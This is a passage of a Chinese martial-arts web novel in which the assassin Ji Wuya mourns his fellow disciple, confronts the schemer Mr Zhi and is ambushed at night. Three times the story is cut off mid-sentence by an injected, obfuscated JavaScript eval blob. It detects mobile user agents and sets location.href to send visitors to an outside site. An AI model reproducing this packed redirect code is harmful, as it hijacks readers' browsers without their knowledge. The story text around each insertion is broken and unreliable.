一时间衙役的刀纷纷出鞘对准李之夭她们,纪宗旭想开口叫唤反倒是被踏雪一脚踹往别处,然后跟场上的衙役打了起来,几个回合下来,衙役倒了一地,县令也被踏雪揪着衣襟到李之夭跟前。 纪宗旭本想趁着他们打架的功夫溜之大吉,没想刚走到爹娘身边再次被踏雪用空出来的手提溜了回来。 一手一个押在手里当人质,衙役也不敢有什么动作了。 纪宗旭眼泪横飞,心中再次责怪起那个祸害,“祖宗,你到底想干嘛?” “我说了找人。” 纪母已经快崩溃了,纪宗旭从小就没吃过苦,他们含辛茹苦拉扯大,生怕他有个三长两短出来,小时候哪怕犯错也没打过骂过,今天碰上这姑娘蛮不讲理,挨了两巴掌她心疼得感觉心都快碎了。 想着眼泪更是止不住地往下流,眸子期期艾艾,满眼控诉。 “可我们说了纪有命跟我们没关系,你就别再缠着我们不放了。”纪爹俨然也是一副快哭出来的模样。 “你们是他的爹娘和弟弟,我不找你们找谁?” 县令不停挣扎,踏雪一脚踹在他腘窝上,对方腿一软直挺挺跪在了地上,顿时传来杀猪般的叫声。 他现在好歹也是朝廷命官,李之夭也不能做得太过,拂了上头的面子,就让踏雪把县令摁坐在凳子上,让他看看这里是什么情况。 “大人,我是真是假有许多种办法验证,皇上除了膝下一名十二岁的公主,但还有一位受了封号的公主,你该不会不知道吧?肃州知州曹大人去过京城,今年的春节宴上,我同他见过照面,曹大人的州府在璧兰城,快马加鞭知会一声,四五日也能来了。” 李之夭本来也没打算段时间内能指望纪氏夫妇说出个什么来,纪宗旭没头没脑,问了也是白搭,做好了长久战的准备,指了指站在最前头的衙役,“你速去璧兰城把曹大人接过来。” 衙役迟疑看向县令,县令挥挥手就让他赶紧去,他也指望曹大人能过来为他做主,心里也开始犯怵,万一她是真的,曹大人怎么敢跟公主作对,这不是找死么。 那名被他抓走的男人现在也带人冲了回来,看见正襟危坐的县令上来就大骂他是狗官,随后捻着纪爹满大堂的跑,说今天必须把纪氏酒楼给砸了,不然心中难出这口恶气。 围观百姓见状,心中早对他们为非作歹,作威作福的样子看不顺眼,趁乱中也跟着添了不少黑脚。 李之夭带着县令离开,故意没管他们,让踏雪暗中跟着他们,“他们有可能会偷偷逃跑,晚上若是逮到把人吓回去就行。” 不出所料,晚上纪氏夫妇准备带着纪宗旭想开溜,刚出城就被踏雪逮了个正着,只能灰溜溜回到家中,路上倒霉的又碰上男人,男人二话不说带人又把纪宗旭和纪爹揍了一顿才善罢甘休。 李之夭得知这个消息让踏雪去找男人说一声,“他现在心中对纪氏夫妇有怨气,你跟他说这几天他们还有可能想逃跑,他自然会找人盯着他们,被打怕了,自然不敢溜走,这边县令的事解决完,我们再去栾县。” 踏雪离开后金三娘有些不放心,搬着凳子挨着李之夭坐一块,“看那县令的样子,不怕知州过来,他们会不会是一伙儿的,万一到时候狗官反过来咬你一口可不是好事。” 李之夭宽慰她一句,“三娘放心,肃州知州最会见风使舵,天水城县令虽然给他不少好处,但他没那么大的胆子对我动手,你去联络一下这边的银来庄,让他们找人放出消息说丞相沈齐和太傅徐子清都在肃州的消息,他听到了自然不敢再有别的歪心思。” * 宁缘城,银来庄。 纪无涯听完他昏迷后发生的这些事,沉默半晌,耿进才又补充了一句,“寻方少侠的尸首我们已为他装棺尚未封盖,夏季天气炎热不易保存,纪少侠勿怪,明个儿就是头七,还能送上一程,就是不知你打算把他葬在何处?” 纪无涯回神冲耿进才拱手行礼道谢,“这些天多谢掌柜费心,费用我会出的,我的钱财一直都放在你们银来庄,从我账上扣就成,下葬不必了,尸首火化吧,然后随他的愿,让他自由。” 耿进才说好,想起柴房里的洛萤,“还有件事,就是有个姑娘不知纪少侠有没有印象,因为绑她来的时候在房间里看到有意思的东西。” 他说着从柜子里取出两副画像展开在纪无涯的眼前,“一副是你的,一副是寻方少侠的。” 纪无涯看着画像愣了愣,确定自己不认识洛萤后摇头,“我不认识她,或许师弟认识,掌柜可否带我去见一见她?” 耿进才说自然可以,在床上躺了那么些天,也是时候下床走动走动,一路去到柴房。 洛萤被五花大绑早就没了当初的精致,相反有些狼狈,看到有人逆光走进来,尚未看清人脸,还以为又是那些人来送吃的,又开始吚吚呜呜想让他们把自己放了。 直到身穿白衣的少年缓步走近在她不远处蹲下,微光透过他的发丝,身上有股浓烈的药味儿,这几天她总能闻到草药味儿,不用想都知道他们当中有人受了重伤,需要下猛药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411696|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在人近了,她终于看清来的人是谁。 是纪无涯。 她眸中闪过一丝欣喜,若是纪无涯在这里,是否就能看到那个人? 洛萤视线朝他身后张望,除了耿进才那种大脸,并没见到想见的人。 “你想找寻方?” 洛萤点头,纪无涯复道:“我帮你把布取下来,但你不能叫。” 得到肯定他取出塞在洛萤嘴里的布,张嘴洛萤便迫切询问,“寻少侠呢?” “明天我带你去见他。” “好。”洛萤说完眼泪顿时就流了下来,见他要走,赶忙叫住他,“你能不能暂时不要走?” 纪无涯脚步顿住站在原地听她把话说完,“我有些话想跟你单独说。” 纪无涯再次抬脚往外走,洛萤再次急忙道:“我这次来宁缘城最主要的目的是来找你的,纪无涯。” “我不认识,也确定我们从未见过,你找我作甚?” “成亲。”洛萤挣扎着从站起来,追着他的距离走了好几步,“我要跟你成亲。” 小二靠在外面的墙上,听到这话吃惊得瞪大眼睛张大嘴巴,一副吃瓜的表情,耿进才朝他头上来了一下,自己也聚精会神听起墙角来。 “我不娶不认识的人。” “我叫洛萤,我跟你是一路人。” 纪无涯回头眸子平静没一丝波澜,看她就是在看一个陌生人,“你认识我师弟,方才你见我露出的期待是给他的,你跟我成亲并不能长久看到他。” 他了解寻方的性格,不会是那种随便留情的人,相处这么久从未见他提过,可见寻方都不太记得这号人,或是何时主动招惹了别人。 洛萤说不一样,“我不是为了看他,我是为了你。” “你想,但我不愿意,姑娘还是不要把注意打到我身上。” “那什么你才愿意?我长得又不丑,才色双绝,同样是闯江湖的,有什么不一样?” 纪无涯想了想,慢悠悠开口,“这些对我都不重要,我不管你心里打得什么主意,找我你是找错人了,若遇上仇家你可以花钱雇我帮你杀人,价格看我心情。” 他说完不再搭理洛萤,快步离开,剩下洛萤在后面不停的叫唤始终都不曾回头,小二还以为能听到什么新鲜事,没想到纪无涯一点机会都不给人家。 耿进才又拍了他的头,“进去干活了,把她的嘴堵上,这么嚷嚷迟早叫人追过来。” 小二取出一块新的帕子走进去,“别叫了,人都走远了,你也真是的,一会儿想要寻方一会儿想要纪少侠的,别以为你长得好看就想为所欲为。” 洛萤瞪了他一眼,“长得好看为何不能为所欲为,我想两个都要你管得着么?你赶紧把我放了,把我捆起来究竟想干嘛!” 小二做了个鬼脸,说不放,然后又把帕子塞到她嘴里。 房门再次关上的,洛萤的一颗心直接沉到谷底,按照计划她本该是找到纪无涯,找到纪无涯就能找到李之夭,她到宁缘城这些天,就连李之夭一面都没见着,还被一群莫名其妙的人捆起来,更别说找机会刀了李之夭。 现在她自身都难保。 85. 谋划 第85章 纪无涯回到屋中,许归和赵南涧来了,赵南涧手里提溜着一个篮子,他们是从后门进来的,正好和纪无涯、耿进才迎面遇上。 许归走近牵起纪无涯的手,“听说你醒过来的消息,我们马不停蹄的就过来了,没事就好,没事就好。” 他们走近屋里围着圆桌坐下,赵南涧从篮子里取出一盅鸡汤摆在纪无涯跟前,递来汤匙,“尝尝,今天刚熬好的。” 后面大夫过来替纪无涯把脉说他再过两日就能痊愈,“这几天切记不要再动武,否则很容易伤元气,对你不利。” 说完再叮嘱一番才离开,赵南涧起身说送送大夫引着他离开。 纪无涯喝完鸡汤许归不敢再打扰他休息,让他回床上休息,许归怕外面天气炎热捂出痱子,就坐在床头帮纪无涯打扇降温。 他平躺在床上感受凉风一阵一阵传来,刚醒酝酿不出半点睡意,许归怕他无聊,主动问起他在缘楼的事,“当初你旧毒复发,躺在床上半年下不来是怎么熬的?” 这半年是前面的一些事记不清了,时间过于久远,距离他也有三年的时间,他只记得后面三个月的事,那时候他重生回来,“吃穿全是…全是寻方师弟帮忙,前三月有缘楼别的师兄照拂,后三月我计划离开缘楼,所以就麻烦他全权照料。” 许归想起寻方心底也是不舍,“他是个好孩子,你卧病在床的时候他时常山下山上两头跑给我们送消息,你不在的日子,他来小院挑柴劈柴啥活都帮我们干,后来他着你走了。” 纪无涯合上眼,至今都觉得寻方离开仿佛在做梦,总觉得下一瞬他会出现在身边,叫他师兄,有何事? 许归不想再提他的伤心事,“今后有什么打算?四长老三位死在你手下,他们背后的人怕不会轻易原谅你,要是知道他们身后站着的是何人就好办了。” “阿婆可记得江湖里鬼见愁?” 许归想都不想直接回答:“记得,早年名头在江湖中风生水起,后不知为何避世不出,鬼见愁鬼见愁,鬼见了都发愁,因为他医术出神入化,踏进鬼门关的人都能给你救回来,此人正邪不分,救过不少人,江湖中有不少想报恩的,对他死心塌地。” 说着忽然意识到事情的重要性,“怎么?此事跟他有关?” 纪无涯说是也不是,“他曾经救过缘楼的四位长老,后避世的时候他膝下有名真传女弟子,名唤苏月清,鬼见愁为了让他的宝贝徒弟能坦荡些,给了她不少助力,四位长老就是其中之一,苏月清养父因叛国之罪死亡,她把这一切归到李之夭身上,缘楼的事恐怕有她的手笔。” 赵南涧此时也回来了,搬了凳子也围在纪无涯身边,听他说话,“可李姑娘跟我们说蓝素衣因为封先的事效忠于安庆帝,同时又跟智先生有往来,此番你们上山得到的消息太多,若蓝素衣和沅露是你曾经的族人,封先和安庆帝身为罪魁祸首,她又怎么会听命于安庆帝?” “命百子,那位智先生到底是谁,他可是暗中害得李姑娘好苦的人。”许归皱眉迫切想跟纪无涯问个答案。 “他我会亲自去找他,我原来也不知道他的真实身份,或许他认为我不会出现在朝堂上,送李之夭回去的时候清武帝在大殿召见我,也是那日我才知道他的身份和官职,一直只知他在朝为官,且官职不低。” “你应该告诉给李姑娘。”赵南涧想了想道,“他身为朝廷命官,李姑娘身份特殊,她若知晓定会帮你,于你也有利。” “李之夭应该认识他,告诉她怕接受不了。” “你若是怕她遭受打击,就更应该说出来,不然等事发突然她知道,岂不是一点心理准备都没有。”许归劝到。 纪无涯应了声,恐怕也就是那时候开始,智先生对他也产生了杀心,听说智先生也来了宁缘城,纪无涯想着他有必要去寻他再见一面。 是生是死,全在剑下,他现在身上银币全都没了,只剩一柄软剑还在身上,重新打造也是大价钱和时间,“我今晚去找一趟城西铺子的赵老头,身上暗器没了。” 许归此时也不劝他,因为知道劝不回来,只是出去走走找赵老头,也不是什么大事,便由着他去了,还是不放心缘楼后面的事,“蓝素衣那边?” “二护法捅了我一剑,铭牌在我手里,十三牢我毁了,还有五位护法死在我手下,如今我已不是缘楼的人,他们管不到我。” “可这样,你也会被他们追杀的。”许归忧心忡忡,认识的时间虽不怎么长,也只有两年的时间,但他们早就把纪无涯当自己亲人来看待了。 这孩子什么都好,就是有时候心里太能藏事,喜欢说些无关紧要轻描淡写的小事,真正的事埋在心里。 赵南涧补充道:“对啊,一旦你失去了缘楼庇护,从前在江湖上的仇怨都会来找你,你孤立无援,万密一疏,总有失算的时候,还要面对智先生和北唐。” 提及这个,纪无涯最先想到的就是去找李之夭,她有大魏公主的身份傍身,江湖上的人不敢怎么样,至于智先生和北唐,是共同的敌人。 纪无涯睁开来的眼睛缓缓垂下,心里在默默盘算着北唐该怎么办,鬼见愁给苏月清的江湖势力不止四位长老,裴淮也不是省油的灯。 裴执虽说已被设计失去了脸面,惹得帝王厌恶,不能帮裴淮,若是这样,按照裴淮的性子,绝不会坐以待毙,因为他的母亲,是安庆帝又爱又恨的人。 “李之夭身份不简单,大不了我跟她混了。”纪无涯难得开了次玩笑,许归和赵南涧面面相觑,越是这样他们越是放心不下。 他们回去后开始捡起每天练武的习惯,不再打太极拳八段锦了。 晚间的时候纪无涯去找耿进才从银来庄账上取了六千两白银带走去城西找赵老头打银币。 赵老头对他有印象,“纪少侠是来修银币的么?” 纪无涯说不是,取下背上包袱放在灶上,打开匣子露出匣子里的银锭,还有压在下面的三张百额银票,“银币重铸,依旧要六枚,规矩照旧,剩下的全都给你,三百两是定金,剩下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418339|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的银子全是你的。” 赵老头拿起银锭咬了一口,喜笑颜开,“没问题。” “多久?” “七天。” 纪无涯说好也不逗留,转身就走,赵老头收起钱财开始起火开炉。 待走出城西,他原本朝着银来庄回去的步子一转,直接找到丞相沈齐落脚的客栈里。 刚到门口就察觉气氛不对,正想开门,就听沈齐阻止:“别开门!有暗器,牵一发动全身。” 纪无涯:“哪里安全?” “门后面有死角,但我们过不去。” 纪无涯上楼顺便给店小二一锭银子,“补偿。” 店小二发懵时,纪无涯找到沈齐屋子的上方,推开房门里面守了一群黑衣杀手,见有人来他们蜂拥而上,在打斗过程摔下了楼。 留了一人找准方向直接当人肉大锤破开了门后的地板。 沈齐和他身边的暗卫困在屋中,周围是密密麻麻的银线缠绕,而四周布满暗器,只要稍微牵动其中一根,墙上屋顶上的暗器就会从四面八方来,躲无可躲。 “何人干得?” 沈齐摇头,“不知道,我的暗卫被他们封了内力点了穴,我们困在这里一天了。” 纪无涯看了看四周的暗器,只得上去一件一件把看得见的东西拆除,忙活一个时辰终于把能看到的全部拆完。 他飞身下房梁,抽出软剑斩断暗卫周围的银线,藏在暗处的弩箭顿时飞出,纪无涯趁势解开暗卫的穴道,将他一掌推到安全位置,同时飞身靠近沈齐,软剑将半空中的弩箭拦腰斩断。 话不多数,纪无涯按照同样的办法斩断沈齐周围的银线,将他推到安全位置,四周暗器飞射而来,纪无涯旋身躲过,踢翻桌子当盾牌,身似游龙灵巧躲避暗器,软剑在空中飞舞出一道道剑花,精准无误的拦下各处飞来的危险。 莫约一盏茶的时间,纪无涯稳稳落在地上,将软剑重新缠绕回腰间。 纪无涯没说别的,先去检查暗卫的身体,帮他把封住的内力解开,“此人针对你们是知根知底的存在,封内力药也是江湖常有,对方多多少少也知道江湖里的事,你们是惹到什么人了吗?” 沈齐思索后非常笃定地否认,“我虽有两年在外游历,从不参与任何纷争,不可能跟人结怨。” “现场的布置手法对方有可能精通机关,哪怕不精通,也博览群书,知识甚广。” 沈齐此时沉默了,他转移了话题,“你来寻我所谓何事?” 他没有要说出来的意思,纪无涯也不会刨根问底去追究,又不是他被对方迫害,问到正题上,索性开门见山,“我来跟你打听一个人的下落,我需要你告诉我他现在在何处。” “为何笃定我就知道此人下落。” “这段时间宁缘城来了不少朝中官员,宿宁公主在这里身处险境差点遇险的事皇上已经知道了,并且将此地驻军全权交到你手里管辖,牛大壮会跟宿宁上月缘山,他知道你在那里,换句话说你们是一伙的。” 86. 抉择 第86章 沈齐感到吃惊,“当时你不在山上如何得知?” 纪无涯手指碾起一块地上的木屑,夹在双指中央,找准时机掷向窗户,木屑锋利如刀穿过窗户纸,死死定在倒挂在窗户上的黑衣人脑门中央。 黑衣人双目瞪圆,到底都没反应过来是怎么回事,就从楼上坠落,砸在了昏暗杂乱的巷子里。 暗卫惊讶的看向纪无涯,吃惊于他的现在的身手和武功相比较当时在缘楼迅速成长不少,外面的人一点动静都没有,他都没发现,却被眼前此人轻而易举的发现了。 “猜的。”纪无涯随意捡起地上的一支弩箭,坐在凳子上,他敲了敲弩箭的箭头,细长的剑身在他指尖翻转,最后递出去,“李之夭说她曾在燕国皇宫见过牛大壮,但曾经的燕国人,清武帝又怎么会放心的交予兵权,唯一解释便是他其实是大魏人,丞相大人出现在这里牛大壮也跟着上了山,我不认为他真有这么好的心思,所谓护送宿宁公主上山不过是顺路,他要去找你,然后摸清缘楼底细。” 沈齐伸手欲要接过他递来的弩箭,暗卫想替他拿沈齐抬手示意不必,弩箭通体暗红,就连箭头似乎都是长久浸泡在毒药里变得暗沉,“那你猜猜我为何会出现在缘楼?” 前世寻方曾传信于他说楼里来了位老头,说是要跟楼主问一些陈年旧事,当时他一心跟着裴淮,并未在意所谓陈年旧事是什么。 现在回想起来,沈齐去找蓝素衣,“你是为了纳多族一事去的。” 沈齐眼中满是赞赏,“不错,我游历山河,多多少少也从乡山野史中得知一些关于纳多族的事,我惊叹于避世不出的村子,竟凭封先一句箴言引来灭顶之灾,随着我深入追查,发现事情并不这么简单。” 纪无涯也是现在才知自己身份,前世对此一无所知,他只知道裴淮就是箴言里的孩子,而他的母亲就是当年从纳多族离开的姑娘,带她离开的人正是北唐安庆帝。 若裴淮真是天命之子,又生于自己膝下,理应不会联合燕国和大魏对它进行讨伐,就算封先将此事宣扬出去,偷偷保下一名孩子不成问题。 所以其中必定还有别的文章牵扯,沈齐见他模样就知道他也想明白其中一点,“正是你想的那样,蓝素衣什么都告诉我了,包括你的身份,你是纳多邀月使后人,所以才会从一出生就体内带毒,缘楼有许多都是纳多族人,其实纳多族还有个秘密,而这个秘密才是导致三国联合讨伐的重要关键。” 沈齐叹气一声,“至于是什么秘密蓝素衣也不知,现如今跟这件事有直接牵连的人就只剩安庆帝,你若想弄清楚原委,北唐之行你不得不去,接近裴淮,你才有机会知道真相。” “若安庆帝一死,北唐由谁做主?” 沈齐带有疑问的哦了一声,“你心中想谁?若届时安庆帝死亡,作为幕后推波助澜的你,是有能力扶持新人登基。” “他们由谁做主都行,反正不是裴淮。”纪无涯起身,“你该告诉我那人的在何处了。” “由此出门往东三百米,右拐一百米,你就能见到他。” 纪无涯拱手道谢,很快走出了客栈,沈齐盯着手里的弩箭,神色骤然冷了下来。 暗卫显然也瞧见弩箭上的毒,对方压根不给他活命的机会,哪怕在这里不动弹,最后也会精疲力竭而亡,暗器上全部淬了毒。 “主子。” “既然他不仁,休怪我不义,我们之间的情分算是走到头了,明日咱们就启程回京。” 他重重将弩箭摔在地上,手握成拳砸在桌子上。 纪无涯顺着沈齐指示的方向前进,刚拐过弯来到客栈门前,陆海清就从里面走了出来,他挂着笑脸,明显是得到消息他往这边来了,“十三,你怎么来了?” 他淡淡扫了一眼陆海清,对于他纪无涯心里是有些复杂的,从前他刚入缘楼,陆海清经常去厨房做饭,跟他关系还不错,只是后来他离开了缘楼,去追随所谓的智先生。 他跟智先生之间的敌对关系就差一层窗户纸还未被捅破,但也就这样,跟陆海清为敌,是他不想见到的情况。 纪无涯并未回话,迈开腿就往客栈里闯,直走到客栈的院子里,陆海清再次拦住他,“十三,上次围剿皇宫的事是我们不对,但若不让你以身涉险,就无法杀了宿宁公主。” 纪无涯冷冷侧眸,“事实是就算这样也没能杀了她,我找智先生,陆叔你让开。” 陆海清不为所动,想尽力安抚,“我知道你心里有怨气,但是你先对李之夭有恻隐之心在先,几次三番未能成,主子这才兵行险招。” 纪无涯从怀里取出几张银票塞进陆海清手里,“第一次是五十两,第二次是一百两,第三次是一百五十两,第四次是二百两,买命钱我不还,几次任务下来一共是五百两,一分不差尽数奉还,麻烦陆叔你代为转交。” 陆海清把银票塞回他手里,哎哟一声,“你啊。” 两人僵持不下时,楼上房门忽然打开,智先生身穿圆领长袍走出来,他俯视在楼下的人,皱着眉眼,“你上来。” 纪无涯径直上了楼,他从进这家客栈开始,就能感受到周围隐藏的杀气,智先生手底下聚集了不少杀手,并不缺高手。 智先生率先坐在圆桌前,“找我何事?” 纪无涯不说话拔剑直指对方眉心,剑锋激荡,发出一阵嗡鸣声,在他拔剑的瞬间,暗处杀手的刀剑也同时架在了脖子上。 “你想我死。” 智先生爽快承认,“是。” “你若是害怕我拆穿你在朝中身份,从一开始你就不该以真面目示人,戴好你的假面具,用你智先生的身份藏在黑暗里,一辈子见不得人。” 对方无所谓的端起茶盏往杯中添水,“可现在你也不想杀了我。” “我是其人之道还治其人。” 智先生不在乎嗤笑一声,“你信沈齐那老东西的话?我前两日才见过他,他从月缘山上下来,他这一搅和,不光朝廷就连江湖里的水都被搅和起风浪来,你当真以为沈齐想做狄仁杰断案查真相?他不过是为了满足自己的好奇心。” 他小酌一口让人撤了架在纪无涯周边的刀剑,“上次进攻刺杀的事是我对不起你,毕竟缘楼我只信任你,你是这一代护法中最出色的一个,资质天分远超他人,独来独往惯了,最合适做一把刀,只是你这把刀尚未磨砺锋刃,就被人绊住了手脚。” 智先生神色惋惜,“李之夭活着,就是危害大魏,你为了自己私心,一开始想利用她找东西也就罢了,后来东西找到,你还是不肯出手,纪无涯,方才你动手没有以前快了,不然我身边这些废物还来不及出手,我就死在你剑下,你若想成大事,匡扶纳多族,这些都是必须要走的路,哪怕你想推翻两朝自己为王,我也愿意帮你。” 他声音顿了顿,“这番来宁缘城,我也是才得知你的身份,上天眷顾,我差点酿成大祸,因为我也是纳多族,老陆也是纳多族,从前邀月使长使诞下的孩子是纳多族少主,你的爹娘我见过,他们都是很好的人,你娘为纳多族圣女,你爹为族长,你就是纳多族未来的少主。” “少主我不稀罕,自己为王也并非我所愿,智先生,多行不义必自毙,今日我来只是为了确认一件事,现在我既然得到答案,我就此离去,日后井水不犯河水。” 纪无涯收了剑,将五百两银票放在桌上转身就走,出了客栈长吸一口气,今夜星河长明。 陆海清目送他走远才回到智先生身边,智先生面色阴沉,桌上摆放着的五百两银票此时显得尤其讽刺。 半晌过后,智先生似乎是拿定了主意,“集结人手。” 陆海清只觉有些不妙,眼皮跳动,心中连连叹息,果然要走到这个地步,只听主子的话音不带任何感情传来,“纪无涯敬酒不吃吃罚酒,既胸无大志不能为我所用,他知道我的身份,那么只能毁了他。” “可是主子,十三武功高强,怕是不那么好对付,况且身边还有赵南涧和许归两人,他们武功也不差,若想动纪无涯,怕是有些困难。” 当他说完这句话的时候,智先生的目光朝他望来,“这不是还有你么,老陆,当年赵南涧杀了你的发妻,如今也该还债了,莫不是在京城过了安生日子,现在刀都提不动了。” 陆海清拱手退下。 翌日,纪无涯找到小二让他带自己去找洛萤,柴房的门打开,她正靠在稻草上睡觉,外头刺眼的天光照进来,才迷迷糊糊睁眼。 她不解的看向纪无涯,他示意小二把人解开,“我会看着她不让她跑了。” 说完才对洛萤道,“我带你去见寻方。” 洛萤跟着纪无涯走出屋子,去到最后面的一间背阴的屋子前,这里挂着白绸和白色灯笼,就连房门上都贴了白纸,她心里顿时升出不好的预感,仓惶推门。 纸钱飘了出来,白幡在半空中飘荡,香案上燃着香,点着长明灯,刻有寻方名字的牌位立在棺木前,火盆里还有烧完的黄纸纸钱。 洛萤顿时愣在原地,几乎是双腿一软险些跪倒在地上,她踉跄几步走到寻方灵堂前,跪在团蒲上,磕头半晌没抬起来。 她蜷着身子,半晌声音才闷闷传来,“他是怎么死的?” “跟缘楼四长老同归于尽。” 洛萤嘴唇翕动,声音哽咽,她起身为寻方上了一炷香,再次跪在灵堂前,浑身脱力一般,“三年前他救过我,在路边给了我一个馒头,那时候我跟义父走丢,正值闹饥荒,若不是那个馒头我早就死了,后来我为他画了一幅画像,说来也可笑,我时常看他的画像,如今他人就躺在这里,我却想不起他的脸了,偏偏心里难过得要死。” 纪无涯并未回应她,寻方离世的消息,他还未想好怎么跟雪说。 洛萤一个人在灵堂里从守了一天一夜,第二天封棺运出成去火火化,办白事的队伍是纪无涯花钱雇来的,寻方无依无靠,只有将缘楼的他和阿雪视做亲人。 在月缘山上的蓝素衣似乎听到山脚传来隐隐约约的唢呐声,她朝天上撒了纸钱,“来生找个好去处吧。” 沅露神色惋惜,“可惜了,我还挺喜欢十四的。” 蓝素衣怼她,“长得好看的,你谁不喜欢。” 沅露摆手,“十三我就不喜欢,都不知道关心女孩子,还感慨这次他回来竟然知道怜香惜玉,一人带着宿宁公主硬是从十三牢杀出来,这么关心宿宁公主,日后有他们苦头吃,亏他的福,现在我们缘楼元气大伤,往后怕是得修生养息尽快把亏空填补回来了,如此一来,二十位护法,又得重新选人补上,忙死了。” 她说着转身回了缘楼,蓝素衣站在断崖上,望着山脚藏在林中城镇,将手里最后的纸钱撒出去。 “我的蓝大楼主,那十三他们算是从缘楼除名了么?” 蓝素衣追上沅露,“把他们的名字划了吧,日后十三他们的位置待十三牢重建完毕,重新选人补上来,小二十的名次排十一吧。” 断崖下某处空旷地带,燃起黑烟,她们刚走进密林中,林中鸟群四散,她们顿时停住步子。 “何人在此装神弄鬼?”蓝素衣说完,陆海清便现身站了出来。 他面上笑容温和,可眸子却是深不见底的寒意,“陆海清拜见楼主,二护法。” “陆叔?你来干什么?” 陆海清从袖子里递出一封密信,“将纪无涯挂上缘楼的悬赏令,主子说既然他不愿做纳多少主,就由蓝楼主你来做,为纳多族复仇。” 蓝素衣看完密信随手用内力碾化成粉末,“智先生还真是什么锅都让我缘楼背了,悬赏令你不说我都会挂,但少主大可不必,别人不要的东西,转交给我,我也不要,复仇的事就不劳智先生操心,我自有打算,当年若不是他带领右.派脱离缘楼,也不会有今天的局面。” 夜晚,纪无涯回了小院,路上只觉周围气氛不太对,行走江湖的直觉告诉他今晚必定有事发生,不由加快了回去的步伐。 只是刚过青石路的时候,从水底忽然飞出一排排黑衣人,个个手持刀剑,齐齐朝他刺来。 纪无涯抽出软剑抵挡,月色下,水波粼粼,打斗声很大,引来在院子里的赵南涧和许归。 他们刚出门就被陆海清拦住了去路。 他身后还跟着一大批黑衣人,陆海清笑道:“赵南涧,好久不见了。” 赵南涧细细看了眼前人,才想起对方是何人,“是你,陆海清。” 陆海清继续笑道:“当你杀我妻儿,这笔账还未找你算,今日是时候好好算算了。” 许归大骂:“你儿子欺男霸女,胡作非为,你妻子明知还包庇,让人有冤无处诉,有状无处告,这样的泼皮霸妇,他们就是该死。” 陆海清面色一沉,不再跟他们废话,拔刀迅速跟赵南涧打在一起,身后的黑衣人则是朝着纪无涯那边奔去,赵南涧见状,让许归赶紧走,“你去帮命百子,不用管我!这里我能应付!” 然而许归刚到桥头,黑衣人就拦住了她的去路,水下时不时有人冒头上来骚扰,狭长的青石路上,四周躲无可躲。 许归着急纪无涯的伤势,“命百子!你重伤未愈,不能再轻易动武了,这里有我们,你快快离开!” 纪无涯知道若是继续待下去就是累赘,就也没强撑,但想离开,路的尽头又是弓箭手,飞身想轻功走,很快就有人拽住脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵南涧将陆海清击败,他趴在地上嘴里呕出一口血,赵南涧也气喘吁吁,受了些伤,许归那边有暗器齐发,他提着刀就要去帮忙,并未补刀陆海清。 刚转身,陆海清站起来朝着赵南涧掷去一枚带有剧毒的飞镖,赵南涧转身将飞镖劈开,怎料飞镖体内还藏有别的玄机,毒砂喷洒出来,落在赵南涧眼睛里。 他闭上眼的瞬间陆海清飞身而上,一掌打在赵南涧胸口,将其打飞撞在树上,赵南涧握紧手中长刀,单膝跪在地上,嘴里缓缓呕出一口鲜血,他强撑着自己的身子站起来。 陆海清提刀而来,捅进他的腹部往后推了推,将他整个人定在柳树上。 “赵南涧,安稳日子过多了,心也善了。”陆海清笑出声,眼泪忽然也就红了,趁他还有一口气的时候,继续往下道,“你别忘了,我从来不是什么好人,会记得你的大恩大德,在我这里你就是杀我妻儿的凶手!” “南涧!”许归大吼一声,纪无涯双目死死盯着陆海清,此时他再也顾不得什么避讳,调动体内真气,伤口撕裂,但顾不上那么多。 朝着许归靠近去救她。 许归目睹自己丈夫的被人杀死,怒气冲天,挥舞长鞭朝陆海清甩去。 黑衣人开始燃烧化骨散,陆海清吃下庇护解药,躲开许归的一击。 他的实力单打独斗也不是他们的对手,只是他在赌赵南涧他们的心慈手软,只要解决一个,剩下的就好办。 纪无涯拼命朝许归赶去,“阿奶!不要!” 眼看他快到的时候,蓝素衣飞身出来,趁纪无涯分心时一掌将他击退。 空气里弥漫着化骨散的味道,渐渐没吃解药的人开始有些头脑发懵,浑身发软。 纪无涯此时想救许归,但又被蓝素衣牵制,加上化骨散的药效,根本发挥不出平日的实力。 “纪无涯,他把你名字挂上了缘楼的悬赏令,你是我们缘楼的追杀对象。”蓝素衣一把揪住纪无涯,想趁机把他带走,但守在暗处的杀手瞬间朝蓝素衣放箭,密密麻麻的箭矢飞来,不得不让她退回来。 杀手趁机围了上来,一片混战中,有人捅了纪无涯肩膀一剑。 许归还在拼命跟陆海清殊死搏斗,最后因为化骨散的作用,被陆海清一掌打飞到柳树下,跪在地上大口吐血,冲着纪无涯吼道:“走!你快走啊!命百子!” 她提着鞭子飞身到纪无涯中央,蓝素衣见状闪开身子,不阻拦许归,只有这样才能救现在孤立无援的纪无涯。 